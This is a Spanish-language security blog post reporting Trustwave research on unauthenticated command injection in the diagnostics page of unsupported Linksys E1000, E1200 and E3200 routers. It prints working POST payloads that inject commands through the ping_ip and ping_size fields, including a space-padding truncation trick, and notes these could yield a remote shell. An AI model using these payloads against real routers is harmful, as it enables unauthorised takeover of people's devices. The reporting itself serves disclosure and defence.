Inyección remota de código en routers WiFi Linksys

El investigador Jason Leyrer, de Trustwave ha publicado un artículo
donde analiza dos fallos de seguridad en routers WiFi de la marca
Linksys de Cisco. Estas vulnerabilidades permiten la ejecución de código
remoto a través de la inyección de comandos en el sistema operativo
subyacente, sin necesidad de autenticación en algunos casos. Están
presentes en modelos cuyo soporte ya ha acabado.

Leyrer describe una vulnerabilidad descubierta por él y otra por
encontrada en otros modelos del fabricante por Michael Messner. Se trata
de sendas inyecciones de comandos al sistema operativo subyacente del
router a través de la interfaz de gestión, más concretamente en la
página de diagnóstico.

Las vulnerabilidades aprovechan una falta de validación en el contenido
suministrado por el usuario en los campos ping_ip y ping_size. En el
primer caso, al agregar dos caracteres “&” (ampersand) tras una IP
válida en codificación URL y seguidos del comando a ejecutar, se
consigue la inyección de comandos. Esto se traduce en una petición POST
con parámetros. Por ejemplo:

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1%26%26reboot&ping_times=5&ping_size=32&traceroute_ip=

Es interpretada por el sistema como:

ping -t 30 -c 5 -R 66560 -s 32 -f /tmp/ping.log 127.0.0.1&&reboot &

Al terminar correctamente el comando ping, se ejecuta el comando
inyectado, en este caso reboot, que reiniciaría el router. Los comandos
inyectados con este método no pueden contener espacios, ya que no se
construirán.

Esta vulnerabilidad está presente en el modelo E1000. Los modelos
E1200/E3200 sí realizan validación de este campo y no están afectados.

De manera similar se podría explotar la inyección de comandos a través
del campo ping_size. Sin embargo, el sistema añade el resto de
parámetros del comando ping tras el contenido inyectado, lo que provoca
que no sea valido. Por ejemplo:

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26ls%20%2Dal&traceroute_ip=

Se ejecuta como:

ping -t 30 -c 5 -R 66560 -s 32 127.0.0.1&&ls -al -f /tmp/ping.log
127.0.0.1 &

Lo cual no es válido. Para solucionar esto, se puede aprovechar la
restricción de tamaño en los comandos del sistema. Si se adjuntan tras
el comando una gran cantidad de caracteres espacio codificados, el
comando se truncará, dejando fuera el resto de parámetros:

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26ls%20%2Dal%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&traceroute_ip=

En el sistema:

ping -t 30 -c 5 -R 66560 -s 32 127.0.0.1&&ls -al

Utilizando estos métodos, se podría conseguir una shell remota.

En el caso del modelo E1000, no es necesario ningún tipo de
autenticación para explotar las vulnerabilidades, ya que el servidor
HTTP no la pide. En cambio, para el resto de modelos sería necesario
autenticarse solo si el router no tiene su configuración de fábrica.

Leyrer señala que de los tres modelos vulnerables probados, sólo uno, el
E1200, sigue teniendo soporte por parte del fabricante, mientras que los
otros dos (E1000 y E3200) no recibirán ninguna actualización que
resuelva los fallos. Para estos, recomienda desactivar la interfaz de
administración, aunque esto puede no ser suficiente para evitar un
ataque cross-site request forgery.
 Fuente

 

__________

NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________

Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.

Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.

Los comentarios están cerrados.

 

Uso de cookies

Este sitio web utiliza cookies para que usted tenga la mejor experiencia de usuario. Si continúa navegando está dando su consentimiento para la aceptación de las mencionadas cookies y la aceptación de nuestra política de cookies, pinche el enlace para mayor información.

ACEPTAR
Aviso de cookies